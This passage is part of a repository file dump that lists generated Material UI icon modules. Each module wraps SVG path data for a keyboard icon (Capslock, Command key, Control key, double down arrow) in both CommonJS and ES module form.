    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.41 3.89 3.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.71 6.3a.996.996 0 0 0-1.41 0l-4.6 4.59c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0zM7 18h10c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'KeyboardCapslockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCapslockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8.41 16.59 13 18 11.59l-6-6-6 6L7.41 13zM6 18h12v-2H6z\"\n}), 'KeyboardCapslockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCapslockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8.41 16.59 13 18 11.59l-6-6-6 6L7.41 13zM6 18h12v-2H6z\"\n}), 'KeyboardCapslockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCapslockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8.41 16.59 13 18 11.59l-6-6-6 6L7.41 13zM6 18h12v-2H6z\"\n}), 'KeyboardCapslockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCapslockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8.41 16.59 13 18 11.59l-6-6-6 6L7.41 13zM6 18h12v-2H6z\"\n}), 'KeyboardCapslockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKey.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKey');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKey.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKey');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardCommandKeyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 3C15.57 3 14 4.57 14 6.5V8h-4V6.5C10 4.57 8.43 3 6.5 3S3 4.57 3 6.5 4.57 10 6.5 10H8v4H6.5C4.57 14 3 15.57 3 17.5S4.57 21 6.5 21s3.5-1.57 3.5-3.5V16h4v1.5c0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5H16v-4h1.5c1.93 0 3.5-1.57 3.5-3.5S19.43 3 17.5 3M16 8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S18.33 8 17.5 8zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5V8zm3.5 6v-4h4v4zm7.5 5c-.83 0-1.5-.67-1.5-1.5V16h1.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5m-11 0c-.83 0-1.5-.67-1.5-1.5S5.67 16 6.5 16H8v1.5c0 .83-.67 1.5-1.5 1.5\"\n}), 'KeyboardCommandKeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKey.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKey');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKey.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKey');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.71 12.71c.39.39 1.02.39 1.41 0L12 7.83l4.88 4.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 5.71a.996.996 0 0 0-1.41 0L5.7 11.3c-.38.38-.38 1.02.01 1.41\"\n}), 'KeyboardControlKeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.71 12.71c.39.39 1.02.39 1.41 0L12 7.83l4.88 4.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 5.71a.996.996 0 0 0-1.41 0L5.7 11.3c-.38.38-.38 1.02.01 1.41\"\n}), 'KeyboardControlKeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardControlKeyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 12 1.41 1.41L12 7.83l5.59 5.58L19 12l-7-7z\"\n}), 'KeyboardControlKeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.29 5.71a.996.996 0 0 0-1.41 0L12 9.58 8.11 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.38.39-1.01 0-1.4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.29 12.3a.996.996 0 0 0-1.41 0L12 16.17l-3.88-3.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.38-.38.38-1.01-.01-1.4\"\n}, \"1\")], 'KeyboardDoubleArrowDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.29 5.71a.996.996 0 0 0-1.41 0L12 9.58 8.11 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.38.39-1.01 0-1.4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.29 12.3a.996.996 0 0 0-1.41 0L12 16.17l-3.88-3.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.38-.38.38-1.01-.01-1.4\"\n}, \"1\")], 'KeyboardDoubleArrowDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownSharp.mjs",
